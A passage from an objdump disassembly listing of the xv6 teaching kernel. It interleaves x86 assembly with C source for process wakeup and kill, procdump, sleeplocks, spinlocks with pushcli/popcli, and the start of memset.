80103e65: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103e6c: 83 c0 7c add $0x7c,%eax
80103e6f: 3d 54 4c 11 80 cmp $0x80114c54,%eax
80103e74: 72 e4 jb 80103e5a <wakeup+0x2a>
80103e76: 66 90 xchg %ax,%ax
void
wakeup(void *chan)
{
acquire(&ptable.lock);
wakeup1(chan);
release(&ptable.lock);
80103e78: c7 45 08 20 2d 11 80 movl $0x80112d20,0x8(%ebp)
}
80103e7f: 83 c4 14 add $0x14,%esp
80103e82: 5b pop %ebx
80103e83: 5d pop %ebp
void
wakeup(void *chan)
{
acquire(&ptable.lock);
wakeup1(chan);
release(&ptable.lock);
80103e84: e9 67 04 00 00 jmp 801042f0 <release>
80103e89: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103e90 <kill>:
// Kill the process with the given pid.
// Process won't exit until it returns
// to user space (see trap in trap.c).
int
kill(int pid)
{
80103e90: 55 push %ebp
80103e91: 89 e5 mov %esp,%ebp
80103e93: 53 push %ebx
80103e94: 83 ec 14 sub $0x14,%esp
80103e97: 8b 5d 08 mov 0x8(%ebp),%ebx
struct proc *p;
acquire(&ptable.lock);
80103e9a: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103ea1: e8 da 03 00 00 call 80104280 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103ea6: b8 54 2d 11 80 mov $0x80112d54,%eax
if(p->pid == pid){
80103eab: 39 1d 64 2d 11 80 cmp %ebx,0x80112d64
80103eb1: 74 14 je 80103ec7 <kill+0x37>
80103eb3: 90 nop
80103eb4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
kill(int pid)
{
struct proc *p;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103eb8: 83 c0 7c add $0x7c,%eax
80103ebb: 3d 54 4c 11 80 cmp $0x80114c54,%eax
80103ec0: 73 36 jae 80103ef8 <kill+0x68>
if(p->pid == pid){
80103ec2: 39 58 10 cmp %ebx,0x10(%eax)
80103ec5: 75 f1 jne 80103eb8 <kill+0x28>
p->killed = 1;
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
80103ec7: 83 78 0c 02 cmpl $0x2,0xc(%eax)
struct proc *p;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->pid == pid){
p->killed = 1;
80103ecb: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
80103ed2: 74 14 je 80103ee8 <kill+0x58>
p->state = RUNNABLE;
release(&ptable.lock);
80103ed4: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103edb: e8 10 04 00 00 call 801042f0 <release>
return 0;
}
}
release(&ptable.lock);
return -1;
}
80103ee0: 83 c4 14 add $0x14,%esp
p->killed = 1;
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
p->state = RUNNABLE;
release(&ptable.lock);
return 0;
80103ee3: 31 c0 xor %eax,%eax
}
}
release(&ptable.lock);
return -1;
}
80103ee5: 5b pop %ebx
80103ee6: 5d pop %ebp
80103ee7: c3 ret
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->pid == pid){
p->killed = 1;
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
p->state = RUNNABLE;
80103ee8: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
80103eef: eb e3 jmp 80103ed4 <kill+0x44>
80103ef1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
release(&ptable.lock);
return 0;
}
}
release(&ptable.lock);
80103ef8: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103eff: e8 ec 03 00 00 call 801042f0 <release>
return -1;
}
80103f04: 83 c4 14 add $0x14,%esp
release(&ptable.lock);
return 0;
}
}
release(&ptable.lock);
return -1;
80103f07: b8 ff ff ff ff mov $0xffffffff,%eax
}
80103f0c: 5b pop %ebx
80103f0d: 5d pop %ebp
80103f0e: c3 ret
80103f0f: 90 nop
80103f10 <procdump>:
// Print a process listing to console. For debugging.
// Runs when user types ^P on console.
// No lock to avoid wedging a stuck machine further.
void
procdump(void)
{
80103f10: 55 push %ebp
80103f11: 89 e5 mov %esp,%ebp
80103f13: 57 push %edi
80103f14: 56 push %esi
80103f15: 53 push %ebx
int i;
struct proc *p;
char *state;
uint pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103f16: bb 54 2d 11 80 mov $0x80112d54,%ebx
// Print a process listing to console. For debugging.
// Runs when user types ^P on console.
// No lock to avoid wedging a stuck machine further.
void
procdump(void)
{
80103f1b: 83 ec 4c sub $0x4c,%esp
//PAGEBREAK: 36
// Print a process listing to console. For debugging.
// Runs when user types ^P on console.
// No lock to avoid wedging a stuck machine further.
void
procdump(void)
80103f1e: 8d 7d e8 lea -0x18(%ebp),%edi
80103f21: eb 20 jmp 80103f43 <procdump+0x33>
80103f23: 90 nop
80103f24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(p->state == SLEEPING){
getcallerpcs((uint*)p->context->ebp+2, pc);
for(i=0; i<10 && pc[i] != 0; i++)
cprintf(" %p", pc[i]);
}
cprintf("\n");
80103f28: c7 04 24 97 76 10 80 movl $0x80107697,(%esp)
80103f2f: e8 1c c7 ff ff call 80100650 <cprintf>
int i;
struct proc *p;
char *state;
uint pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103f34: 83 c3 7c add $0x7c,%ebx
80103f37: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx
80103f3d: 0f 83 8d 00 00 00 jae 80103fd0 <procdump+0xc0>
if(p->state == UNUSED)
80103f43: 8b 43 0c mov 0xc(%ebx),%eax
80103f46: 85 c0 test %eax,%eax
80103f48: 74 ea je 80103f34 <procdump+0x24>
continue;
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
80103f4a: 83 f8 05 cmp $0x5,%eax
state = states[p->state];
else
state = "???";
80103f4d: ba 30 73 10 80 mov $0x80107330,%edx
uint pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->state == UNUSED)
continue;
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
80103f52: 77 11 ja 80103f65 <procdump+0x55>
80103f54: 8b 14 85 90 73 10 80 mov -0x7fef8c70(,%eax,4),%edx
state = states[p->state];
else
state = "???";
80103f5b: b8 30 73 10 80 mov $0x80107330,%eax
80103f60: 85 d2 test %edx,%edx
80103f62: 0f 44 d0 cmove %eax,%edx
cprintf("%d %s %s", p->pid, state, p->name);
80103f65: 8d 43 6c lea 0x6c(%ebx),%eax
80103f68: 89 44 24 0c mov %eax,0xc(%esp)
80103f6c: 8b 43 10 mov 0x10(%ebx),%eax
80103f6f: 89 54 24 08 mov %edx,0x8(%esp)
80103f73: c7 04 24 34 73 10 80 movl $0x80107334,(%esp)
80103f7a: 89 44 24 04 mov %eax,0x4(%esp)
80103f7e: e8 cd c6 ff ff call 80100650 <cprintf>
if(p->state == SLEEPING){
80103f83: 83 7b 0c 02 cmpl $0x2,0xc(%ebx)
80103f87: 75 9f jne 80103f28 <procdump+0x18>
getcallerpcs((uint*)p->context->ebp+2, pc);
80103f89: 8d 45 c0 lea -0x40(%ebp),%eax
80103f8c: 89 44 24 04 mov %eax,0x4(%esp)
80103f90: 8b 43 1c mov 0x1c(%ebx),%eax
80103f93: 8d 75 c0 lea -0x40(%ebp),%esi
80103f96: 8b 40 0c mov 0xc(%eax),%eax
80103f99: 83 c0 08 add $0x8,%eax
80103f9c: 89 04 24 mov %eax,(%esp)
80103f9f: e8 8c 01 00 00 call 80104130 <getcallerpcs>
80103fa4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(i=0; i<10 && pc[i] != 0; i++)
80103fa8: 8b 06 mov (%esi),%eax
80103faa: 85 c0 test %eax,%eax
80103fac: 0f 84 76 ff ff ff je 80103f28 <procdump+0x18>
cprintf(" %p", pc[i]);
80103fb2: 83 c6 04 add $0x4,%esi
80103fb5: 89 44 24 04 mov %eax,0x4(%esp)
80103fb9: c7 04 24 81 6d 10 80 movl $0x80106d81,(%esp)
80103fc0: e8 8b c6 ff ff call 80100650 <cprintf>
else
state = "???";
cprintf("%d %s %s", p->pid, state, p->name);
if(p->state == SLEEPING){
getcallerpcs((uint*)p->context->ebp+2, pc);
for(i=0; i<10 && pc[i] != 0; i++)
80103fc5: 39 fe cmp %edi,%esi
80103fc7: 75 df jne 80103fa8 <procdump+0x98>
80103fc9: e9 5a ff ff ff jmp 80103f28 <procdump+0x18>
80103fce: 66 90 xchg %ax,%ax
cprintf(" %p", pc[i]);
}
cprintf("\n");
}
}
80103fd0: 83 c4 4c add $0x4c,%esp
80103fd3: 5b pop %ebx
80103fd4: 5e pop %esi
80103fd5: 5f pop %edi
80103fd6: 5d pop %ebp
80103fd7: c3 ret
...
80103fe0 <initsleeplock>:
#include "spinlock.h"
#include "sleeplock.h"
void
initsleeplock(struct sleeplock *lk, char *name)
{
80103fe0: 55 push %ebp
80103fe1: 89 e5 mov %esp,%ebp
80103fe3: 53 push %ebx
80103fe4: 83 ec 14 sub $0x14,%esp
80103fe7: 8b 5d 08 mov 0x8(%ebp),%ebx
initlock(&lk->lk, "sleep lock");
80103fea: c7 44 24 04 a8 73 10 movl $0x801073a8,0x4(%esp)
80103ff1: 80
80103ff2: 8d 43 04 lea 0x4(%ebx),%eax
80103ff5: 89 04 24 mov %eax,(%esp)
80103ff8: e8 13 01 00 00 call 80104110 <initlock>
lk->name = name;
80103ffd: 8b 45 0c mov 0xc(%ebp),%eax
lk->locked = 0;
80104000: c7 03 00 00 00 00 movl $0x0,(%ebx)
lk->pid = 0;
80104006: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx)
void
initsleeplock(struct sleeplock *lk, char *name)
{
initlock(&lk->lk, "sleep lock");
lk->name = name;
8010400d: 89 43 38 mov %eax,0x38(%ebx)
lk->locked = 0;
lk->pid = 0;
}
80104010: 83 c4 14 add $0x14,%esp
80104013: 5b pop %ebx
80104014: 5d pop %ebp
80104015: c3 ret
80104016: 8d 76 00 lea 0x0(%esi),%esi
80104019: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104020 <acquiresleep>:
void
acquiresleep(struct sleeplock *lk)
{
80104020: 55 push %ebp
80104021: 89 e5 mov %esp,%ebp
80104023: 56 push %esi
80104024: 53 push %ebx
80104025: 83 ec 10 sub $0x10,%esp
80104028: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&lk->lk);
8010402b: 8d 73 04 lea 0x4(%ebx),%esi
8010402e: 89 34 24 mov %esi,(%esp)
80104031: e8 4a 02 00 00 call 80104280 <acquire>
while (lk->locked) {
80104036: 8b 13 mov (%ebx),%edx
80104038: 85 d2 test %edx,%edx
8010403a: 74 16 je 80104052 <acquiresleep+0x32>
8010403c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
sleep(lk, &lk->lk);
80104040: 89 74 24 04 mov %esi,0x4(%esp)
80104044: 89 1c 24 mov %ebx,(%esp)
80104047: e8 44 fc ff ff call 80103c90 <sleep>
void
acquiresleep(struct sleeplock *lk)
{
acquire(&lk->lk);
while (lk->locked) {
8010404c: 8b 03 mov (%ebx),%eax
8010404e: 85 c0 test %eax,%eax
80104050: 75 ee jne 80104040 <acquiresleep+0x20>
sleep(lk, &lk->lk);
}
lk->locked = 1;
80104052: c7 03 01 00 00 00 movl $0x1,(%ebx)
lk->pid = myproc()->pid;
80104058: e8 d3 f6 ff ff call 80103730 <myproc>
8010405d: 8b 40 10 mov 0x10(%eax),%eax
80104060: 89 43 3c mov %eax,0x3c(%ebx)
release(&lk->lk);
80104063: 89 75 08 mov %esi,0x8(%ebp)
}
80104066: 83 c4 10 add $0x10,%esp
80104069: 5b pop %ebx
8010406a: 5e pop %esi
8010406b: 5d pop %ebp
while (lk->locked) {
sleep(lk, &lk->lk);
}
lk->locked = 1;
lk->pid = myproc()->pid;
release(&lk->lk);
8010406c: e9 7f 02 00 00 jmp 801042f0 <release>
80104071: eb 0d jmp 80104080 <releasesleep>
80104073: 90 nop
80104074: 90 nop
80104075: 90 nop
80104076: 90 nop
80104077: 90 nop
80104078: 90 nop
80104079: 90 nop
8010407a: 90 nop
8010407b: 90 nop
8010407c: 90 nop
8010407d: 90 nop
8010407e: 90 nop
8010407f: 90 nop
80104080 <releasesleep>:
}
void
releasesleep(struct sleeplock *lk)
{
80104080: 55 push %ebp
80104081: 89 e5 mov %esp,%ebp
80104083: 83 ec 18 sub $0x18,%esp
80104086: 89 5d f8 mov %ebx,-0x8(%ebp)
80104089: 8b 5d 08 mov 0x8(%ebp),%ebx
8010408c: 89 75 fc mov %esi,-0x4(%ebp)
acquire(&lk->lk);
8010408f: 8d 73 04 lea 0x4(%ebx),%esi
80104092: 89 34 24 mov %esi,(%esp)
80104095: e8 e6 01 00 00 call 80104280 <acquire>
lk->locked = 0;
8010409a: c7 03 00 00 00 00 movl $0x0,(%ebx)
lk->pid = 0;
801040a0: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx)
wakeup(lk);
801040a7: 89 1c 24 mov %ebx,(%esp)
801040aa: e8 81 fd ff ff call 80103e30 <wakeup>
release(&lk->lk);
}
801040af: 8b 5d f8 mov -0x8(%ebp),%ebx
{
acquire(&lk->lk);
lk->locked = 0;
lk->pid = 0;
wakeup(lk);
release(&lk->lk);
801040b2: 89 75 08 mov %esi,0x8(%ebp)
}
801040b5: 8b 75 fc mov -0x4(%ebp),%esi
801040b8: 89 ec mov %ebp,%esp
801040ba: 5d pop %ebp
{
acquire(&lk->lk);
lk->locked = 0;
lk->pid = 0;
wakeup(lk);
release(&lk->lk);
801040bb: e9 30 02 00 00 jmp 801042f0 <release>
801040c0 <holdingsleep>:
}
int
holdingsleep(struct sleeplock *lk)
{
801040c0: 55 push %ebp
801040c1: 89 e5 mov %esp,%ebp
801040c3: 83 ec 28 sub $0x28,%esp
801040c6: 89 75 f8 mov %esi,-0x8(%ebp)
801040c9: 8b 75 08 mov 0x8(%ebp),%esi
801040cc: 89 5d f4 mov %ebx,-0xc(%ebp)
801040cf: 89 7d fc mov %edi,-0x4(%ebp)
int r;
acquire(&lk->lk);
r = lk->locked && (lk->pid == myproc()->pid);
801040d2: 31 ff xor %edi,%edi
int
holdingsleep(struct sleeplock *lk)
{
int r;
acquire(&lk->lk);
801040d4: 8d 5e 04 lea 0x4(%esi),%ebx
801040d7: 89 1c 24 mov %ebx,(%esp)
801040da: e8 a1 01 00 00 call 80104280 <acquire>
r = lk->locked && (lk->pid == myproc()->pid);
801040df: 8b 0e mov (%esi),%ecx
801040e1: 85 c9 test %ecx,%ecx
801040e3: 74 13 je 801040f8 <holdingsleep+0x38>
801040e5: 8b 76 3c mov 0x3c(%esi),%esi
801040e8: e8 43 f6 ff ff call 80103730 <myproc>
801040ed: 3b 70 10 cmp 0x10(%eax),%esi
801040f0: 0f 94 c0 sete %al
801040f3: 0f b6 c0 movzbl %al,%eax
801040f6: 89 c7 mov %eax,%edi
release(&lk->lk);
801040f8: 89 1c 24 mov %ebx,(%esp)
801040fb: e8 f0 01 00 00 call 801042f0 <release>
return r;
}
80104100: 89 f8 mov %edi,%eax
80104102: 8b 5d f4 mov -0xc(%ebp),%ebx
80104105: 8b 75 f8 mov -0x8(%ebp),%esi
80104108: 8b 7d fc mov -0x4(%ebp),%edi
8010410b: 89 ec mov %ebp,%esp
8010410d: 5d pop %ebp
8010410e: c3 ret
...
80104110 <initlock>:
#include "proc.h"
#include "spinlock.h"
void
initlock(struct spinlock *lk, char *name)
{
80104110: 55 push %ebp
80104111: 89 e5 mov %esp,%ebp
80104113: 8b 45 08 mov 0x8(%ebp),%eax
lk->name = name;
80104116: 8b 55 0c mov 0xc(%ebp),%edx
lk->locked = 0;
80104119: c7 00 00 00 00 00 movl $0x0,(%eax)
#include "spinlock.h"
void
initlock(struct spinlock *lk, char *name)
{
lk->name = name;
8010411f: 89 50 04 mov %edx,0x4(%eax)
lk->locked = 0;
lk->cpu = 0;
80104122: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
80104129: 5d pop %ebp
8010412a: c3 ret
8010412b: 90 nop
8010412c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104130 <getcallerpcs>:
}
// Record the current call stack in pcs[] by following the %ebp chain.
void
getcallerpcs(void *v, uint pcs[])
{
80104130: 55 push %ebp
uint *ebp;
int i;
ebp = (uint*)v - 2;
for(i = 0; i < 10; i++){
80104131: 31 c0 xor %eax,%eax
}
// Record the current call stack in pcs[] by following the %ebp chain.
void
getcallerpcs(void *v, uint pcs[])
{
80104133: 89 e5 mov %esp,%ebp
uint *ebp;
int i;
ebp = (uint*)v - 2;
80104135: 8b 55 08 mov 0x8(%ebp),%edx
}
// Record the current call stack in pcs[] by following the %ebp chain.
void
getcallerpcs(void *v, uint pcs[])
{
80104138: 8b 4d 0c mov 0xc(%ebp),%ecx
8010413b: 53 push %ebx
uint *ebp;
int i;
ebp = (uint*)v - 2;
8010413c: 83 ea 08 sub $0x8,%edx
8010413f: 90 nop
for(i = 0; i < 10; i++){
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
80104140: 8d 9a 00 00 00 80 lea -0x80000000(%edx),%ebx
80104146: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx
8010414c: 77 1a ja 80104168 <getcallerpcs+0x38>
break;
pcs[i] = ebp[1]; // saved %eip
8010414e: 8b 5a 04 mov 0x4(%edx),%ebx
80104151: 89 1c 81 mov %ebx,(%ecx,%eax,4)
{
uint *ebp;
int i;
ebp = (uint*)v - 2;
for(i = 0; i < 10; i++){
80104154: 83 c0 01 add $0x1,%eax
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
80104157: 8b 12 mov (%edx),%edx
{
uint *ebp;
int i;
ebp = (uint*)v - 2;
for(i = 0; i < 10; i++){
80104159: 83 f8 0a cmp $0xa,%eax
8010415c: 75 e2 jne 80104140 <getcallerpcs+0x10>
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
pcs[i] = 0;
}
8010415e: 5b pop %ebx
8010415f: 5d pop %ebp
80104160: c3 ret
80104161: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
pcs[i] = 0;
80104168: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4)
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
8010416f: 83 c0 01 add $0x1,%eax
80104172: 83 f8 0a cmp $0xa,%eax
80104175: 74 e7 je 8010415e <getcallerpcs+0x2e>
pcs[i] = 0;
80104177: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4)
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
8010417e: 83 c0 01 add $0x1,%eax
80104181: 83 f8 0a cmp $0xa,%eax
80104184: 75 e2 jne 80104168 <getcallerpcs+0x38>
80104186: eb d6 jmp 8010415e <getcallerpcs+0x2e>
80104188: 90 nop
80104189: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104190 <pushcli>:
// it takes two popcli to undo two pushcli. Also, if interrupts
// are off, then pushcli, popcli leaves them off.
void
pushcli(void)
{
80104190: 55 push %ebp
80104191: 89 e5 mov %esp,%ebp
80104193: 53 push %ebx
80104194: 83 ec 04 sub $0x4,%esp
80104197: 9c pushf
80104198: 5b pop %ebx
}
static inline void
cli(void)
{
asm volatile("cli");
80104199: fa cli
int eflags;
eflags = readeflags();
cli();
if(mycpu()->ncli == 0)
8010419a: e8 f1 f4 ff ff call 80103690 <mycpu>
8010419f: 8b 80 a4 00 00 00 mov 0xa4(%eax),%eax
801041a5: 85 c0 test %eax,%eax
801041a7: 75 11 jne 801041ba <pushcli+0x2a>
mycpu()->intena = eflags & FL_IF;
801041a9: e8 e2 f4 ff ff call 80103690 <mycpu>
801041ae: 81 e3 00 02 00 00 and $0x200,%ebx
801041b4: 89 98 a8 00 00 00 mov %ebx,0xa8(%eax)
mycpu()->ncli += 1;
801041ba: e8 d1 f4 ff ff call 80103690 <mycpu>
801041bf: 83 80 a4 00 00 00 01 addl $0x1,0xa4(%eax)
}
801041c6: 83 c4 04 add $0x4,%esp
801041c9: 5b pop %ebx
801041ca: 5d pop %ebp
801041cb: c3 ret
801041cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801041d0 <popcli>:
void
popcli(void)
{
801041d0: 55 push %ebp
801041d1: 89 e5 mov %esp,%ebp
801041d3: 83 ec 18 sub $0x18,%esp
static inline uint
readeflags(void)
{
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
801041d6: 9c pushf
801041d7: 58 pop %eax
if(readeflags()&FL_IF)
801041d8: f6 c4 02 test $0x2,%ah
801041db: 75 49 jne 80104226 <popcli+0x56>
panic("popcli - interruptible");
if(--mycpu()->ncli < 0)
801041dd: e8 ae f4 ff ff call 80103690 <mycpu>
801041e2: 8b 90 a4 00 00 00 mov 0xa4(%eax),%edx
801041e8: 83 ea 01 sub $0x1,%edx
801041eb: 85 d2 test %edx,%edx
801041ed: 89 90 a4 00 00 00 mov %edx,0xa4(%eax)
801041f3: 78 25 js 8010421a <popcli+0x4a>
panic("popcli");
if(mycpu()->ncli == 0 && mycpu()->intena)
801041f5: e8 96 f4 ff ff call 80103690 <mycpu>
801041fa: 8b 88 a4 00 00 00 mov 0xa4(%eax),%ecx
80104200: 85 c9 test %ecx,%ecx
80104202: 74 04 je 80104208 <popcli+0x38>
sti();
}
80104204: c9 leave
80104205: c3 ret
80104206: 66 90 xchg %ax,%ax
{
if(readeflags()&FL_IF)
panic("popcli - interruptible");
if(--mycpu()->ncli < 0)
panic("popcli");
if(mycpu()->ncli == 0 && mycpu()->intena)
80104208: e8 83 f4 ff ff call 80103690 <mycpu>
8010420d: 8b 90 a8 00 00 00 mov 0xa8(%eax),%edx
80104213: 85 d2 test %edx,%edx
80104215: 74 ed je 80104204 <popcli+0x34>
}
static inline void
sti(void)
{
asm volatile("sti");
80104217: fb sti
sti();
}
80104218: c9 leave
80104219: c3 ret
popcli(void)
{
if(readeflags()&FL_IF)
panic("popcli - interruptible");
if(--mycpu()->ncli < 0)
panic("popcli");
8010421a: c7 04 24 ca 73 10 80 movl $0x801073ca,(%esp)
80104221: e8 4a c1 ff ff call 80100370 <panic>
void
popcli(void)
{
if(readeflags()&FL_IF)
panic("popcli - interruptible");
80104226: c7 04 24 b3 73 10 80 movl $0x801073b3,(%esp)
8010422d: e8 3e c1 ff ff call 80100370 <panic>
80104232: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104239: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104240 <holding>:
}
// Check whether this cpu is holding the lock.
int
holding(struct spinlock *lock)
{
80104240: 55 push %ebp
80104241: 89 e5 mov %esp,%ebp
80104243: 83 ec 08 sub $0x8,%esp
80104246: 89 75 fc mov %esi,-0x4(%ebp)
80104249: 8b 75 08 mov 0x8(%ebp),%esi
8010424c: 89 5d f8 mov %ebx,-0x8(%ebp)
int r;
pushcli();
r = lock->locked && lock->cpu == mycpu();
8010424f: 31 db xor %ebx,%ebx
// Check whether this cpu is holding the lock.
int
holding(struct spinlock *lock)
{
int r;
pushcli();
80104251: e8 3a ff ff ff call 80104190 <pushcli>
r = lock->locked && lock->cpu == mycpu();
80104256: 8b 06 mov (%esi),%eax
80104258: 85 c0 test %eax,%eax
8010425a: 74 10 je 8010426c <holding+0x2c>
8010425c: 8b 5e 08 mov 0x8(%esi),%ebx
8010425f: e8 2c f4 ff ff call 80103690 <mycpu>
80104264: 39 c3 cmp %eax,%ebx
80104266: 0f 94 c3 sete %bl
80104269: 0f b6 db movzbl %bl,%ebx
popcli();
8010426c: e8 5f ff ff ff call 801041d0 <popcli>
return r;
}
80104271: 89 d8 mov %ebx,%eax
80104273: 8b 75 fc mov -0x4(%ebp),%esi
80104276: 8b 5d f8 mov -0x8(%ebp),%ebx
80104279: 89 ec mov %ebp,%esp
8010427b: 5d pop %ebp
8010427c: c3 ret
8010427d: 8d 76 00 lea 0x0(%esi),%esi
80104280 <acquire>:
// Loops (spins) until the lock is acquired.
// Holding a lock for a long time may cause
// other CPUs to waste time spinning to acquire it.
void
acquire(struct spinlock *lk)
{
80104280: 55 push %ebp
80104281: 89 e5 mov %esp,%ebp
80104283: 53 push %ebx
80104284: 83 ec 14 sub $0x14,%esp
pushcli(); // disable interrupts to avoid deadlock.
80104287: e8 04 ff ff ff call 80104190 <pushcli>
if(holding(lk))
8010428c: 8b 45 08 mov 0x8(%ebp),%eax
8010428f: 89 04 24 mov %eax,(%esp)
80104292: e8 a9 ff ff ff call 80104240 <holding>
80104297: 85 c0 test %eax,%eax
80104299: 75 3c jne 801042d7 <acquire+0x57>
xchg(volatile uint *addr, uint newval)
{
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
8010429b: b9 01 00 00 00 mov $0x1,%ecx
panic("acquire");
// The xchg is atomic.
while(xchg(&lk->locked, 1) != 0)
801042a0: 8b 55 08 mov 0x8(%ebp),%edx
801042a3: 89 c8 mov %ecx,%eax
801042a5: f0 87 02 lock xchg %eax,(%edx)
801042a8: 85 c0 test %eax,%eax
801042aa: 75 f4 jne 801042a0 <acquire+0x20>
;
// Tell the C compiler and the processor to not move loads or stores
// past this point, to ensure that the critical section's memory
// references happen after the lock is acquired.
__sync_synchronize();
801042ac: f0 83 0c 24 00 lock orl $0x0,(%esp)
// Record info about lock acquisition for debugging.
lk->cpu = mycpu();
801042b1: 8b 5d 08 mov 0x8(%ebp),%ebx
801042b4: e8 d7 f3 ff ff call 80103690 <mycpu>
801042b9: 89 43 08 mov %eax,0x8(%ebx)
getcallerpcs(&lk, lk->pcs);
801042bc: 8b 45 08 mov 0x8(%ebp),%eax
801042bf: 83 c0 0c add $0xc,%eax
801042c2: 89 44 24 04 mov %eax,0x4(%esp)
801042c6: 8d 45 08 lea 0x8(%ebp),%eax
801042c9: 89 04 24 mov %eax,(%esp)
801042cc: e8 5f fe ff ff call 80104130 <getcallerpcs>
}
801042d1: 83 c4 14 add $0x14,%esp
801042d4: 5b pop %ebx
801042d5: 5d pop %ebp
801042d6: c3 ret
void
acquire(struct spinlock *lk)
{
pushcli(); // disable interrupts to avoid deadlock.
if(holding(lk))
panic("acquire");
801042d7: c7 04 24 d1 73 10 80 movl $0x801073d1,(%esp)
801042de: e8 8d c0 ff ff call 80100370 <panic>
801042e3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801042e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801042f0 <release>:
}
// Release the lock.
void
release(struct spinlock *lk)
{
801042f0: 55 push %ebp
801042f1: 89 e5 mov %esp,%ebp
801042f3: 53 push %ebx
801042f4: 83 ec 14 sub $0x14,%esp
801042f7: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holding(lk))
801042fa: 89 1c 24 mov %ebx,(%esp)
801042fd: e8 3e ff ff ff call 80104240 <holding>
80104302: 85 c0 test %eax,%eax
80104304: 74 23 je 80104329 <release+0x39>
panic("release");
lk->pcs[0] = 0;
80104306: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
lk->cpu = 0;
8010430d: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
// Tell the C compiler and the processor to not move loads or stores
// past this point, to ensure that all the stores in the critical
// section are visible to other cores before the lock is released.
// Both the C compiler and the hardware may re-order loads and
// stores; __sync_synchronize() tells them both not to.
__sync_synchronize();
80104314: f0 83 0c 24 00 lock orl $0x0,(%esp)
// Release the lock, equivalent to lk->locked = 0.
// This code can't use a C assignment, since it might
// not be atomic. A real OS would use C atomics here.
asm volatile("movl $0, %0" : "+m" (lk->locked) : );
80104319: c7 03 00 00 00 00 movl $0x0,(%ebx)
popcli();
}
8010431f: 83 c4 14 add $0x14,%esp
80104322: 5b pop %ebx
80104323: 5d pop %ebp
// Release the lock, equivalent to lk->locked = 0.
// This code can't use a C assignment, since it might
// not be atomic. A real OS would use C atomics here.
asm volatile("movl $0, %0" : "+m" (lk->locked) : );
popcli();
80104324: e9 a7 fe ff ff jmp 801041d0 <popcli>
// Release the lock.
void
release(struct spinlock *lk)
{
if(!holding(lk))
panic("release");
80104329: c7 04 24 d9 73 10 80 movl $0x801073d9,(%esp)
80104330: e8 3b c0 ff ff call 80100370 <panic>
...
80104340 <memset>:
#include "types.h"
#include "x86.h"
void*
memset(void *dst, int c, uint n)
{
80104340: 55 push %ebp
80104341: 89 e5 mov %esp,%ebp
80104343: 83 ec 08 sub $0x8,%esp
80104346: 8b 55 08 mov 0x8(%ebp),%edx
80104349: 89 5d f8 mov %ebx,-0x8(%ebp)
8010434c: 8b 45 0c mov 0xc(%ebp),%eax
8010434f: 89 7d fc mov %edi,-0x4(%ebp)
